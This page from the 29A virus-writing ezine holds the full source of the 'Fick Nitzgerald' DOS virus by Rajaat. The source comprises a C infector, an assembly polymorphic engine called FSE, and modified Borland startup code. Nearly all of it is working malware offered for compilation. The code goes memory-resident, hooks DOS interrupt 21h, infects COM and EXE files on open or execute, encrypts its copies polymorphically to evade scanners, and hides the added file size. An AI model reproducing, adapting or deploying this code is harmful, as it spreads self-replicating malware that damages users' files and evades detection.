Copy Link
Add to Bookmark
Report

29A Issue 03 06 06

eZine's profile picture
Published in 
29A
 · 28 Dec 2019

  

-----[ start ficknitz.c ]-----

/*****( Fick Nitzgerald Virus by Rajaat / 29A )********************************
*
* Virus name : Fick Nitzgerald
* Author : Rajaat / 29A
* Origin : United Kingdom, January 1999
* Compiling : Use the included batch file.
* Borland C++ 3.1 and Turbo Assembler required
* Targets : COM & EXE files
* Size : 1st generation = 6694 bytes
* Others are 7326 bytes
* Resident : Yes
* Polymorphic : Yes
* Encrypted : No
* Stealth : File size stealth on 11/12 and 4e/4f
* Tunneling : No
* Retrovirus : Yes, it is not easy to research a HLL virus :-)
* Antiheuristics: Not deliberately, but I think it will pass some checks
* Peculiarities : It's mainly written in Borland C++ 3.1 with some alterations
* to the startup code of the "tiny model" code (C0.ASM) and
* inline assembly.
* Drawbacks : Extensive debugging needed and thorough knowledge of
* compilers and how they work. This virus has been written
* in a timespan of almost 3 years (started in March 1996).
* Behaviour : When an infected file is executed the virus first will
* relocate it's code to a segment boundary, so that it
* is always aligned at CS:0100, no matter where it
* resides. If the file is not a first generation sample,
* it will also have a polymorphic decryptor before
* realigning takes place. Afther that the virus will
* check if it is already resident by issueing its
* "are-you-there" call. If it is not resident, it will
* find the last MCB, shrink it, and moves its code to
* the top of memory. Then it will hook DOS interrupt.
* After the virus has installed itself in memory, it
* will return control to the host. After the host
* recieves control, the virus will try to infect COM and
* EXE files that are opened or executed. If the virus
* can infect the file, it tries to allocate a block of
* memory as buffer for its polymorphic engine. If it
* can't allocate the memory it will attach the virus
* unencrypted at the end of the host file. If the virus
* can have enough memory it will call it's engine and
* writes the virus at the end of the host file.
* Furthermore, when the virus is resident it will hide
* the increase in filelength by monitoring the
* FindFirst/FindNext (11/12/4e/4f) of DOS. I do realise
* that the virus has become quite big in length, thats
* the sacrifice I had to make for writing a virus in C.
*
* It's unknown what this virus might do besides replicate :)
*
* Ps. This is my last virus I've written as 29A member, I hereby
* want to thank the others for their friendship and support.
*
* Btw, please read the attached text to support me in writing
* new things.
*
*
******************************************************************************/



#pragma inline // sorry, some assembly is needed

// Include some libraries I use
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <conio.h>
#include <dos.h>
#include <dir.h>
#include <mem.h>
#include <io.h>
#include <fcntl.h>
#include <sys/stat.h>

#define BreakPoint asm int 3; // Included for testing purposes

#define PING 0x30DE // are-you-there query
#define PONG 0xB00B // are-you-there response
#define DOSINT 0x21 // take a guess

#define virus_stealth_size 7326 // 11*0x29a (666)

// Some typedefs to make my life easier
typedef unsigned char BYTE; // Bytes
typedef unsigned int WORD; // Words
typedef unsigned long DWORD; // Doublewords
typedef struct ffblk far *findrec; // Needed for 4e/4f stealth

// Needed for 11/12 stealth
typedef struct dirblk {
BYTE db_drive;
char db_name[8];
char db_ext[3];
BYTE db_attrib;
BYTE db_reserved1[10];
WORD db_time;
WORD db_date;
WORD db_start;
unsigned long db_filesize;
} far *dirrec;

// The infamous EXE header :-!
typedef struct exe_header {
WORD exe_id; // 0000
WORD exe_last_page; // 0002
WORD exe_pages; // 0004
WORD exe_rel_cnt; // 0006
WORD exe_hdr_size; // 0008
WORD exe_min_mem; // 000A
WORD exe_max_mem; // 000C
WORD exe_SS; // 000E
WORD exe_SP; // 0010
WORD exe_crc; // 0012
WORD exe_IP; // 0014
WORD exe_CS; // 0016
WORD exe_ofs_reloc; // 0018 also NEWexe check
WORD exe_overlay; // 001A must be 0
DWORD exe_4bytes; // 001C
WORD exe_behaviour; // 0020
BYTE exe_reserved[25]; // 0022
DWORD exe_offset_NE; // 003C SHOULD be 0
} exe_header;

// I need to call some interrupts, and using C these two are needed
union REGS regs;
static struct SREGS segregs;

extern WORD DSEG; // DS, in C0.ASM and needed
extern near virus_start; // Start of the virus (in C0.ASM)
extern near virus_end; // End of the virus (in C0.ASM)
extern WORD pspseg; // Segment of PSP (in C0.ASM)
extern void fse(void); // The poly engine (FSE.ASM)

// Some prototyping here (hey, it's C!)
int get_virus_size(void);
int get_virus_memory(void);
int get_virus_paragraphs(void);
void interrupt int_21_handler(int bp, int di, int si, int ds, int es,
int dx, int cx, int bx, int ax,
int ip, int cs, int flags);

// The old int 0x21 pointer is stored here
void interrupt ( *old_int_21)(void);

// The stack and start of an infected EXE file
static WORD host_sp = 0;
static WORD host_ss = 0;
static WORD host_ip = 0;
static WORD host_cs = 0;

// The jump and infection marker for a COM file
static unsigned char newbytes[4] = { 0xE9, 0, 0, '!'};

// The original 1st 4 bytes of a COM host (in this case return to DOS)
static unsigned char org4bytes[0x4] = { 0xCD, 0x20, 0x00, 0x5B };

// Buffer for reading the exe header
static exe_header exe_buffer;

// And here some boasting :-D
// Oh hell, I spelled his name wrong!
static unsigned char virname[] = "[ Fick Nitzgerald Virus ]";
static unsigned char author[] = "[ Rajaat / 29A ]";

// EXE & COM entrypoint
void main(void) {
static int srcseg, srcofs;
static int seg;
static int ofs;

_fmode = O_BINARY; // filemode always binary
old_int_21 = getvect(DOSINT); // get dos int 21h ptr

regs.x.ax = PING; // Check if already resident
regs.x.bx = PONG;
int86(DOSINT,®s,®s);

if ((regs.x.ax != PONG) && (regs.x.bx != PING)) {

// Install resident
seg = getpsp()-1; // get current mcb
if (peekb(seg,0) == 'Z') {
poke(seg,3,(peek(seg,3)-(get_virus_memory() >> 4)-1));
poke(seg,0x12,(peek(seg,0x12)-(get_virus_memory() >> 4)-1));
// nick now has enough memory at the top of dos memory
seg = (peek(seg,0x12)-0x10);
ofs = 0x100;
srcseg = _CS;
srcofs = &virus_start;
movedata(srcseg,srcofs,seg,ofs,get_virus_size()); // move virus

// hook dos int 21h
regs.x.ax = 0x2521;
regs.x.dx = FP_OFF(int_21_handler);
segregs.ds = seg;
int86x(DOSINT,®s,®s,&segregs);
poke(seg,&DSEG,seg);
}
}
if ((org4bytes[0] == 'M') && (org4bytes[1] == 'Z')) {
// Return to EXE host
asm {
mov ah,0x51
int 0x21
mov es,bx
mov ds,bx
add bx,0x10
mov cx,bx
add cx,word ptr cs:[host_ss]
add bx,word ptr cs:[host_cs]
cli
mov ss,cx
mov sp,word ptr cs:[host_sp]
sti
push bx
mov bx,word ptr cs:[host_ip]
push bx
xor bx,bx
xor ax,ax
retf
}
} else {
// Return to COM host
movedata(_CS,FP_OFF(org4bytes),pspseg,0x100,4);
asm {
mov ax,pspseg
mov ss,ax
mov ds,ax
mov es,ax
push ax
mov si,0feh
cmpsw
push si
xor ax,ax
retf
}
}
return;
}

// Get virus length
int get_virus_size(void) {
asm lea ax,virus_end;
asm sub ax,offset virus_start;
_AX += 0x80; // reserve some extra space
return _AX;
}

// Get virus memory length
int get_virus_memory(void) {
return (get_virus_size());
}

// Get virus size in paragraphs
int get_virus_paragraphs(void) {
return ((get_virus_size() / 10) + 1);
}

// Resident INT 21h handler
void interrupt int_21_handler(int bp, int di, int si, int ds, int es,
int dx, int cx, int bx, int ax,
int ip, int cs, int flags) {
WORD temp;
char far *ch;
exe_header *exe_hdr;
static int handle;
static int stats;
static long filelength;
static long ne_offset;
static ldiv_t lx;
findrec searchdtarec;
dirrec searchdirrec;
static struct ftime filedate;
static char filename[128] = { "This space is reserved for holding the " \
"filename for internal use only! ;-) "};
static int segp;
static int nread;

// Installation check
if ((ax == PING) && (bx == PONG)) {
temp = ax;
ax = bx;
bx = temp;
return;
}

// File execute
temp = ax >> 8;
// FCB FindFirst/FindNext
if ((temp == 0x11) || (temp == 0x12)) {
_DS = ds;
_DX = dx;
_AX = ax;
asm {
pushf
call dword ptr cs:[old_int_21]
or al,al
jz fcb_ok
jmp error
}
fcb_ok:
asm push ax;
searchdirrec = getdta();
if (searchdirrec->db_drive == 0xff)
searchdirrec = getdta()+7; // extended fcb
temp = searchdirrec->db_time & 0x1f; // get seconds
if (temp == 30) { // 60? (vienna shit)
searchdirrec->db_filesize -= virus_stealth_size; // substract virus
searchdirrec->db_time -= 10; // and time :-)
}
asm pop ax;
goto error;
}
// DOS FindFirst/FindNext
if ((temp == 0x4e) || (temp == 0x4f)) {
_DS = ds;
_DX = dx;
_CX = cx;
_AX = ax;
asm {
pushf
call dword ptr cs:[old_int_21]
jc error
}
asm push ax;
searchdtarec = getdta();
temp = searchdtarec->ff_ftime & 0x1f;
if (temp == 30) { // 60 seconds again?
searchdtarec->ff_fsize -= virus_stealth_size; // yups, hide virus
searchdtarec->ff_ftime -= 10; // and seconds
}
asm pop ax;
error:
asm {
mov sp,bp
pop bp
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
add sp,2
clc
or al,al
jz no_stc
stc
}
no_stc:
asm retf 2;
}
if ((ax == 0x4b00) || (ax == 0x3d00) || (ax == 0x4300) || (ax == 0x6c00)) {
// replication part, invoced on execute, open, attrib and extopen
_DS = _CS;
nread = 0;
ch = MK_FP(ds,dx);
if (ax == 0x6c00) ch = MK_FP(ds,si); // handle extopen ds:si > ds:dx
do { // copy and upcase filename
filename[nread] = toupper(*ch);
nread++;
ch++;
} while (filename[nread-1] != '\0');

_DS = _CS;
_ES = _CS;
if ((strstr(filename,".COM") != NULL) || // com extension?
(strstr(filename,".EXE") != NULL)) { // exe extension?
handle = _open(filename,O_RDWR); // open file
if (handle != -1) { // no error?
getftime(handle, &filedate); // store filedate/time
_read(handle, org4bytes, 0x4); // read 4 bytes
if ((org4bytes[0] == 'M') && (org4bytes[1] == 'Z')) {
// EXE file
lseek(handle,0L,SEEK_SET);
_read(handle,&exe_buffer,sizeof(exe_buffer)); // read header
if ((exe_buffer.exe_overlay == 0) && // no overlay?
(exe_buffer.exe_crc != 0x29A)) { // not infected?
ne_offset = lseek(handle, exe_buffer.exe_offset_NE, SEEK_SET);
filelength = lseek(handle,0L,SEEK_END);
lx = ldiv(filelength, 0x200);
lx.quot += 1;
if (ne_offset == 0) ne_offset=filelength+1;
if ((filelength < ne_offset) &&
(exe_buffer.exe_ofs_reloc < 0x60) &&
((WORD) lx.quot == exe_buffer.exe_pages) &&
((WORD) lx.rem == exe_buffer.exe_last_page)) {
// ok, no overlays, and no windows exe (strange check)
// now store original stack and entrypoint
host_ss = exe_buffer.exe_SS;
host_sp = exe_buffer.exe_SP;
host_cs = exe_buffer.exe_CS;
host_ip = exe_buffer.exe_IP;
lx = ldiv(filelength, 0x10);
lx.quot -= exe_buffer.exe_hdr_size;
// fill new entrypoint (virus) in header
exe_buffer.exe_CS = (WORD) lx.quot-0x10;
exe_buffer.exe_IP = (WORD) lx.rem+0x100;
exe_buffer.exe_SS = (WORD) lx.quot;
exe_buffer.exe_SP = (get_virus_size() | 1)+0x301;
exe_buffer.exe_min_mem += get_virus_paragraphs();
stats = allocmem(get_virus_paragraphs()+10, &segp);
if (stats == -1) { // enough memory?
// Poly code here
_CX = get_virus_size();
ch = MK_FP(segp, 0);
_SI = &virus_start;
_ES = segp;
_DI = 0;
_AX = exe_buffer.exe_IP;
fse(); // my fucking small engine
_ES = _CS;
_DS = _CS;
_dos_write(handle, ch, virus_stealth_size, &stats);
freemem(segp); // free memory used by fse
} else
// Not enough memory, so we just don't poly
_write(handle,&virus_start,virus_stealth_size);
filelength = lseek(handle,0L, SEEK_END);
lx = ldiv(filelength, 0x200);
// update exe pagecount
exe_buffer.exe_pages = (WORD) lx.quot;
exe_buffer.exe_last_page = (WORD) lx.rem;
exe_buffer.exe_pages++;
// and set infection marker (checksum field)
exe_buffer.exe_crc = 0x29A;
lseek(handle,0L, SEEK_SET);
_write(handle,&exe_buffer,sizeof(exe_buffer));
filedate.ft_tsec = 30; // is 60!
setftime(handle, &filedate);
}
}
} else {
// COM file
if (org4bytes[3] != '!') { // already infected?
filelength = lseek(handle,0L, SEEK_END);
if ((filelength < 0xf000) && (filelength > 0x100)) {
// file is not too long
stats = allocmem(get_virus_paragraphs()+10, &segp);
if (stats == -1) {
// Poly code here
_CX = get_virus_size();
ch = MK_FP(segp, 0);
_SI = &virus_start;
_ES = segp;
_DI = 0;
_AX = filelength + 0x100;
fse(); // what was it again? ;-)
_ES = _CS;
_DS = _CS;
_dos_write(handle, ch, virus_stealth_size, &stats);
freemem(segp);
} else
// Not enough memory, so we just don't poly
_write(handle,&virus_start,virus_stealth_size);
lseek(handle,0L, SEEK_SET);
filelength -= 3; // calc com jump to virus
newbytes[1] = filelength & 0xff;
newbytes[2] = (filelength >> 8) & 0xff;
_write(handle,newbytes,4);
filedate.ft_tsec = 30; // is 60!
setftime(handle, &filedate);
}
}
}
_close(handle); // we're done...
}

}
goto eoi_21;
};

// Chain to old interrupt
eoi_21:
;
asm {
mov sp,bp
pop bp
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[old_int_21]
}

}

// Oh, eh... Raid, this isn't a host encrypting prepending non resident
// infector, this is the real McCoy (I hope you can stand a joke, but you
// get the drift).

-----[ end ficknitz.c ]-----

-----[ start fse.asm ]-----

;=====( Fucking Small Engine - by Rajaat / 29A )===============================
;
; Type : Polymorphic Engine
; Comments : This polymorphic engine is very easy to detect, since uses no
; random trash code or anything else to complicate detecting the
; decryptor itself, but this is made to see how you could defeat
; scanners that still use the (in my opinion obsolete) XRAY
; technique to detect encrypted viruses. FSE uses 8-15
; different operations on each byte, making it virtually
; impossible to do a cryptanalytic attack.
;
; Operands used by FSE to encrypt code:
; XOR SUB ADD ROL ROR NOT NEG INC DEC
;
; Registers used by FSE as pointer:
; BX SI DI
;
; Registers used by FSE as counter:
; AX BX CX DX SI DI BP
;
;=====( Fucking Small Engine - by Rajaat )=====================================
;
; DS:SI = code to encrypt
; ES:DI = place for encrypted code + decryptor
; CX = code length to encrypt
; AX = offset in target
;
;==============================================================================
.model tiny
.code
.radix 16

public C fse ; yes, I used it in my Borland
; C virus :-D

fse proc C ; fse()

push bp ; preserve BP

call get_offset ; get delta offset (in case you
get_offset: pop bp ; are making a direct action
sub bp,offset get_offset ; infector)

push di es ; save some registers I need
push si ; later on
push cx ;
push ax ;
push di ;
push di ;
cld ;

push es ; clear encrypt code buffer
push cs ; (there was a bug in here when
pop es ; this source was on my home
lea si,end_sequencer[bp] ; page, it ES != CS it would
lea di,enc_sequencer[bp] ; make incorrect encryptions)
mov al,90 ;
push cx ;
mov cx,len_sequencer ;
rep stosb ;
pop cx ;

pop es ;
pop di ;

mov ax,1f0e ; write PUSH CS / POP DS
stosw ; sequence (wow, fixed code)

bad_registers: call rnd_get
and ax,0707
cmp ah,al ; pointer & counter can't be
je bad_registers ; the same register
cmp al,4 ; don't use SP!
je bad_registers
cmp ah,03 ; BX is pointer register
je good_pointer
cmp ah,6 ; or else FSE uses SI or DI as
jb bad_registers ; index register
good_pointer: push ax
sub ah,6
cmp ah,08
jb convert_ok
mov ah,3
convert_ok: mov byte ptr cs:pointer_reg[bp],ah
pop ax
add ax,0b8b8
push ax
call rnd_get
mov bx,1
inc ax
pop ax
jns dont_flip
xchg ah,al
xchg bh,bl
dont_flip: stosb
mov dx,di
test bl,1
push ax
jz no_counter
call rnd_get
and ax,1ff
add ax,cx
no_counter: stosw
pop ax
xchg ah,al
stosb
push ax bx
test bl,1
jnz is_counter
and ax,1ff
add ax,cx
jmp store
is_counter: mov dx,di
store: stosw
mov cx,di
push cx

call rnd_get
mov cx,ax
and cx,7
add cx,7

encrypt_actions:

call rnd_get
no_more_than_8: and ax,1f
sub ax,8
cmp ax,8
ja no_more_than_8
shl ax,1
mov bx,ax
add bx,bp
mov ax,word ptr cs:enc_opers[bx]
test ah,80
jnz no_xor_add_sub
mov ah,80
add al,byte ptr cs:pointer_reg[bp]
xchg ah,al
stosw
call rnd_get
stosb
jmp xor_add_sub
no_xor_add_sub: sub ah,0bc
add ah,byte ptr cs:pointer_reg[bp]
no_bx: stosw
xor_add_sub: mov bx,word ptr cs:dec_opers[bx]
cmp bh,0
jne no_xas
mov bh,al
no_xas: mov word ptr cs:[si],bx
dec si
dec si

loop encrypt_actions

pop cx

;=== inc/dec pointer and counter
pop bx ax
test bl,1
jnz pointer_first
xchg ah,al
pointer_first: sub ax,7078
stosb
push ax
pop ax
xchg ah,al
stosb
;=== building repeat loop
cmp al,49
mov al,75
jnz no_loop
dec di
mov al,0e2
no_loop: stosb
sub cx,di
dec cx
xchg ax,cx
stosb

xchg bx,dx
mov dx,di
pop ax
sub dx,ax
pop ax
add dx,ax
mov word ptr es:[bx],dx
pop cx
;=== encrypt code
pop si
encrypt_loop: lodsb
call enc_sequencer
stosb
loop encrypt_loop
mov cx,di
pop ds dx
sub cx,dx
pop bp
ret

rnd_get: in al,40
xchg ah,al
in al,41
xor al,ah
ret

; XOR SUB ADD ROL ROR NOT NEG INC DEC
enc_opers dw 00034,0002c,00004,0c0d0,0c8d0,0d0f6,0d8f6,0c0fe,0c8fe
; XOR ADD SUB ROR ROL NOT NEG DEC INC
dec_opers dw 00034,00004,0002c,0c8d0,0c0d0,0d0f6,0d8f6,0c8fe,0c0fe

fse_signature db '[ FSE 1.0 by Rajaat / 29A ]',0

enc_sequencer: dw 18 dup (9090) ; buffer for encryptor code
end_sequencer equ $-2
len_sequencer equ $-enc_sequencer
ret
pointer_reg db 0

fse endp

end

-----[ end fse.asm ]-----

-----[ start c0.asm ]-----

;[]------------------------------------------------------------[]
;| C0.ASM -- Start Up Code for DOS |
;[]------------------------------------------------------------[]
;
; C/C++ Run Time Library - Version 5.0
;
; Copyright (c) 1987, 1992 by Borland International
; All Rights Reserved.
;
;=====( Modifications by Rajaat / 29A )========================================
;
; I had to make some alterations to the startupcode of Borland C++ 3.1 in order
; to make my code work. I could not avoid this due to the design of the main
; code. If I would wanted to leave this part untouched I would have written a
; prepender.
;
; I also removed some useless code, like the Borland copyright notice (since I
; think the av will undoubtly recognize this one as a HLL virus, they
; unfortunately missed it that Animo.518 also was a HLL virus), the
; checksumming code, the code that you can insert more startup code using the
; #pragma startup in the source, BIOS time in ticks, midnight time flag and
; some other things. Also I had to insert a call to the __setupio() code.
;
; Anyway, this file is a quick hack of the original code and may or may not be
; bug free or completely optimized, but since it is needed by the rest of the
; code I'll release it nonetheless.
;
; For instructions how to compile this, check the main C source,
; NICKFITZ.C
;
;==============================================================================

locals

__C0__ = 1
INCLUDE RULES.ASI

; Segment and Group declarations

_TEXT SEGMENT BYTE PUBLIC 'CODE'
ENDS
_FARDATA SEGMENT PARA PUBLIC 'FAR_DATA'
ENDS
_FARBSS SEGMENT PARA PUBLIC 'FAR_BSS'
ENDS
_DATA SEGMENT PARA PUBLIC 'DATA'
ENDS
_INIT_ SEGMENT WORD PUBLIC 'INITDATA'
InitStart label byte
ENDS
_INITEND_ SEGMENT BYTE PUBLIC 'INITDATA'
InitEnd label byte
ENDS
_EXIT_ SEGMENT WORD PUBLIC 'EXITDATA'
ExitStart label byte
ENDS
_EXITEND_ SEGMENT BYTE PUBLIC 'EXITDATA'
ExitEnd label byte
ENDS
_CVTSEG SEGMENT WORD PUBLIC 'DATA'
ENDS
_SCNSEG SEGMENT WORD PUBLIC 'DATA'
ENDS
IFNDEF __HUGE__
_BSS SEGMENT WORD PUBLIC 'BSS'
ENDS
_BSSEND SEGMENT BYTE PUBLIC 'BSSEND'
ENDS
ENDIF

ASSUME CS:_TEXT, DS:DGROUP

; External References

extrn _main:DIST
extrn __exit:DIST
extrn __nfile:word
extrn __setupio:near ;required!
extrn __stklen:word
IF LDATA EQ false
extrn __heaplen:word
ENDIF

SUBTTL Start Up Code
PAGE
;/* */
;/*-----------------------------------------------------*/
;/* */
;/* Start Up Code */
;/* ------------- */
;/* */
;/*-----------------------------------------------------*/
;/* */
PSPHigh equ 00002h
PSPEnv equ 0002ch
PSPCmd equ 00080h

public __AHINCR
public __AHSHIFT
public _DSEG

public _exit
public _abort

public __terminate
public __checknull
public __restorezero
public __cleanup

__AHINCR equ 1000h
__AHSHIFT equ 12

;
; At the start, DS and ES both point to the segment prefix.
; SS points to the stack segment except in TINY model where
; SS is equal to CS
;
_TEXT SEGMENT
ORG 100h
STARTX PROC NEAR
; Save general information, such as :
; DGROUP segment address
; DOS version number
; Program Segment Prefix address
; Environment address
; Top of far heap

PubSym@ virus_start, <label byte>, __CDECL__

call get_offset ; get delta offset for the
get_offset: pop bx ; relocator.
mov si,bx ;
sub si,offset get_offset ;

mov word ptr cs:_pspseg[si],ds ; store PSP for C code
or si,si ; no delta offset?
jz no_fixup ; indeed, no alignment needed
; jump to no_fixup

lea si,_virus_start[si] ; this part relocates the whole
lea di,_virus_end ; code so that it gets aligned
push ds ; at a paragraph. this gets
push cs ; calculated in such way that
pop ds ; whereever the code may reside
dec bh ; it always is located at
mov cl,4 ; CS:100h, just like the
shr bx,cl ; compiled original. this also
mov ax,cs ; makes it ideal for memory
add bx,ax ; residency.
add bx,10 ;
mov es,bx ;
lea cx,_virus_end-100h ;
add si,cx ;
std ; we move in backwards fashion
rep movsb ; to prevent overwriting our
movsb ; own code
pop ds ;

push bx ; we now jump back to the
mov ax,100h xor 0deadh ; relocated relocator (wow!
xor ax,0deadh ; did we jump to the original
push ax ; program, tbclean?) which
retf ; sees that we are aligned and
; will eventually end at
; no_fixup

no_fixup: push cs ; i clean some segments here,
push cs ; C would probably require it
push cs ;
pop ds ;
pop es ;
pop ss ;
mov ax,word ptr cs:_pspseg ;

;=====( Comments from Rajaat )=================================================
; From here on I've cutted out some Borland code, but I left their comments in.
; Excuse me if it looks a bit confusing, but it's just a stripped version of
; the normal Borland C++ 3.1 startup code.
;==============================================================================

mov _psp@, ax ; Keep Program Segment Prefix address
push ax
pop ds

mov dx, cs ; DX = GROUP Segment address
mov cs:DGROUP@@, dx ; __BOSS__
mov ah, 30h
int 21h ; get DOS version number
mov bp, ds:[PSPHigh]; BP = Highest Memory Segment Addr
mov bx, ds:[PSPEnv] ; BX = Environment Segment address
mov ds, dx
mov _version@, ax ; Keep major and minor version number
mov _envseg@, bx ; Keep Environment Segment address
mov word ptr _heaptop@ + 2, bp

; Count the number of environment variables and compute the size.
; Each variable is ended by a 0 and a zero-length variable stops
; the environment. The environment can NOT be greater than 32k.

mov ax, _envseg@
mov es, ax
xor ax, ax
mov bx, ax
mov di, ax

mov cx, 07FFFh ; Environment cannot be > 32 Kbytes
cld
@@EnvLoop:
repnz scasb
jcxz InitFailed ; Bad environment !!!

inc bx ; BX = Nb environment variables
cmp es:[di], al
jne @@EnvLoop ; Next variable ...
or ch, 10000000b
neg cx
mov _envLng@, cx ; Save Environment size
mov cx, dPtrSize / 2
shl bx, cl
add bx, dPtrSize * 4
and bx, not ((dPtrSize * 4) - 1)
mov _envSize@, bx ; Save Environment Variables Nb.

; Reset uninitialized data area

xor ax, ax
mov es, cs:DGROUP@@
mov di, offset DGROUP: bdata@
mov cx, offset DGROUP: edata@
sub cx, di
cld
rep stosb

; If default number of file handles have changed then tell DOS

; Prepare main arguments

;=====( I commented this out, if you really want it just remove the comments )=
; mov ah, 0
; int 1ah ; get current BIOS time in ticks
; mov word ptr _StartTime@,dx ; save it for clock() fn
; mov word ptr _StartTime@+2,cx
; or al,al ; was midnight flag set?
; jz @@NotMidnight
; mov ax,40h ; set BIOS midnight flag
; mov es,ax ; at 40:70
; mov bx,70h
; mov byte ptr es:[bx],1

@@NotMidnight:
xor bp,bp ; set BP to 0 for overlay mgr

mov es, cs:DGROUP@@

; ExitCode = main(argc,argv,envp);

call __setupio ;===( Done manually! )=========

IF LDATA
push word ptr __C0environ+2
push word ptr __C0environ
push word ptr __C0argv+2
push word ptr __C0argv
ELSE
push word ptr __C0environ
push word ptr __C0argv
ENDIF
push __C0argc
call _main

; Flush and close streams and files
_exit:
_abort:
InitFailed:
mov bx,word ptr cs:_pspseg
mov es,bx
mov ds,bx
mov ss,bx
mov ax,4c00h
int 21h

__terminate:
__checknull:
__restorezero:
__cleanup: ret


;---------------------------------------------------------------------------
; _cleanup() call all #pragma exit cleanup routines.
; _checknull() check for null pointer zapping copyright message
; _terminate(int) exit program with error code
;
; These functions are called by exit(), _exit(), _cexit(),
; and _c_exit().
;---------------------------------------------------------------------------

STARTX ENDP

SUBTTL Vector save/restore & default Zero divide routines
PAGE
;------------------------------------------------------------------

; The DGROUP@ variable is used to reload DS with DGROUP

_DSEG equ $
PubSym@ DGROUP@, <dw ?>, __PASCAL__

; __MMODEL is used to determine the memory model or the default
; pointer types at run time.

public __MMODEL
__MMODEL dw MMODEL

_TEXT ENDS

SUBTTL Start Up Data Area
PAGE
;[]------------------------------------------------------------[]
;| Start Up Data Area |
;| |
;| WARNING Do not move any variables in the data |
;| segment unless you're absolutely sure |
;| that it does not matter. |
;[]------------------------------------------------------------[]

_DATA SEGMENT

; Magic symbol used by the debug info to locate the data segment
public DATASEG@
DATASEG@ label byte

;
; Miscellaneous variables
;
PubSym@ _C0argc, <dw 0>, __CDECL__
dPtrPub@ _C0argv, 0, __CDECL__
dPtrPub@ _C0environ, 0, __CDECL__
PubSym@ _envLng, <dw 0>, __CDECL__
PubSym@ _envseg, <dw 0>, __CDECL__
PubSym@ _envSize, <dw 0>, __CDECL__
PubSym@ _psp, <dw 0>, __CDECL__
PubSym@ _version, <label word>, __CDECL__
PubSym@ _osversion, <label word>, __CDECL__
PubSym@ _osmajor, <db 0>, __CDECL__
PubSym@ _osminor, <db 0>, __CDECL__
PubSym@ errno, <dw 0>, __CDECL__
PubSym@ _StartTime, <dw 0,0>, __CDECL__



; Memory management variables

IF LDATA EQ false
PubSym@ __heapbase, <dw DGROUP:edata@>, __CDECL__
ENDIF
IFNDEF __HUGE__
PubSym@ __brklvl, <dw DGROUP:edata@>, __CDECL__
ENDIF
PubSym@ _heapbase, <dd 0>, __CDECL__
PubSym@ _brklvl, <dd 0>, __CDECL__
PubSym@ _heaptop, <dd 0>, __CDECL__
PubSym@ pspseg <dw 0>, __CDECL__

_DATA ENDS

_CVTSEG SEGMENT
PubSym@ _RealCvtVector, <label word>, __CDECL__
ENDS

_SCNSEG SEGMENT
PubSym@ _ScanTodVector, <label word>, __CDECL__
ENDS

IFNDEF __HUGE__
_BSS SEGMENT

;=====( Sorry, I could not resist putting my name in it )======================

Signature db '[ VX-CLib 1.0 by Rajaat / 29A ]',0

bdata@ label byte

;=====( This might come in handy ;-)===========================================

PubSym@ virus_end, <label byte>, __CDECL__
ENDS

_BSSEND SEGMENT
edata@ label byte
ENDS
ENDIF

END STARTX

-----[ end c0.asm ]-----

-----[ start rules.asi ]-----

;[]-----------------------------------------------------------------[]
;| RULES.ASI -- Rules & Structures for assembler |
;| |
;| C/C++ Run Time Library Version 4.0 |
;| |
;| Copyright (c) 1987, 1991 by Borland International Inc. |
;| All Rights Reserved. |
;[]-----------------------------------------------------------------[]

;*** First we begin with a few of the major constants of C.

false equ 0 ; Beware ! For incoming parameters, non-false = true.
true equ 1 ; For results, we generate the proper numbers.

lesser equ -1 ; Incoming, lesser < 0
equal equ 0
greater equ 1 ; Incoming, greater > 0

PAGE
;[]------------------------------------------------------------[]
;| |
;| Conditional Assembly Directives |
;| |
;[]------------------------------------------------------------[]

;memory model aliases, for the convenience of building the library

;bit masks to extract default pointer types from MMODEL (at run-time)
FCODE equ 8000h
FDATA equ 4000h

IFDEF __TINY__ ; Small Code - Small Data
LPROG equ false
LDATA equ false
MMODEL equ 0
_DSSTACK_ equ <>
ENDIF

IF LPROG
DIST equ FAR
ELSE
DIST equ NEAR
ENDIF

PAGE
;[]------------------------------------------------------------[]
;| |
;| Segment Declarations Macros |
;| |
;[]------------------------------------------------------------[]

Code_Seg@ MACRO ;; Open a Code Segment
IFDEF __WINDOWS__
_TEXT SEGMENT WORD PUBLIC 'CODE'
ELSE
_TEXT SEGMENT BYTE PUBLIC 'CODE'
ENDIF
ASSUME CS:_TEXT
ENDM

Code_EndS@ MACRO ;; Close a Code Segment
_TEXT ENDS
ENDM

Data_Seg@ MACRO ;; Open a Data Segment (initialized)
_DATA SEGMENT WORD PUBLIC 'DATA'
ENDM

Data_EndS@ MACRO ;; Close a Data Segment (initialized)
_DATA ENDS
ENDM

IFNDEF __HUGE__
BSS_Seg@ MACRO ;; Open a Data Segment (un-initialized)
_BSS SEGMENT WORD PUBLIC 'BSS'
ENDM

BSS_EndS@ MACRO ;; Close a Data Segment (un-initialized)
_BSS ENDS
ENDM
ENDIF

FarData_Seg@ MACRO ;; Open a FAR Data Segment
_FARDATA SEGMENT PARA PUBLIC 'FAR_DATA'
ENDM

FarData_EndS@ MACRO ;; Close a FAR Data Segment
_FARDATA ENDS
ENDM

FarBSS_Seg@ MACRO ;; Open a FAR BSS Segment
_FARBSS SEGMENT PARA PUBLIC 'FAR_BSS'
ENDM

FarBSS_EndS@ MACRO ;; Close a FAR BSS Segment
_FARBSS ENDS
ENDM

Const_Seg@ MACRO ;; Open a CONST Segment
_CONST SEGMENT WORD PUBLIC 'CONST'
ENDM

Const_EndS@ MACRO ;; Close a CONST Segment
_CONST ENDS
ENDM

Init_Seg@ MACRO ;; Open a INIT Segment
_INIT_ SEGMENT WORD PUBLIC 'INITDATA'
ENDM

Init_EndS@ MACRO ;; Close a INIT Segment
_INIT_ ENDS
ENDM

Exit_Seg@ MACRO ;; Open a EXIT Segment
_EXIT_ SEGMENT WORD PUBLIC 'EXITDATA'
ENDM

Exit_EndS@ MACRO ;; Close a EXIT Segment
_EXIT_ ENDS
ENDM

CVT_Seg@ MACRO
_CVTSEG SEGMENT WORD PUBLIC 'DATA'
ENDM

CVT_EndS@ MACRO
_CVTSEG ENDS
ENDM

SCN_Seg@ MACRO
_SCNSEG SEGMENT WORD PUBLIC 'DATA'
ENDM

SCN_EndS@ MACRO
_SCNSEG ENDS
ENDM

Header@ MACRO
Code_Seg@
Code_EndS@
Data_Seg@
Data_EndS@
BSS_Seg@
BSS_EndS@
ASSUME CS:_TEXT, DS:DGROUP
ENDM

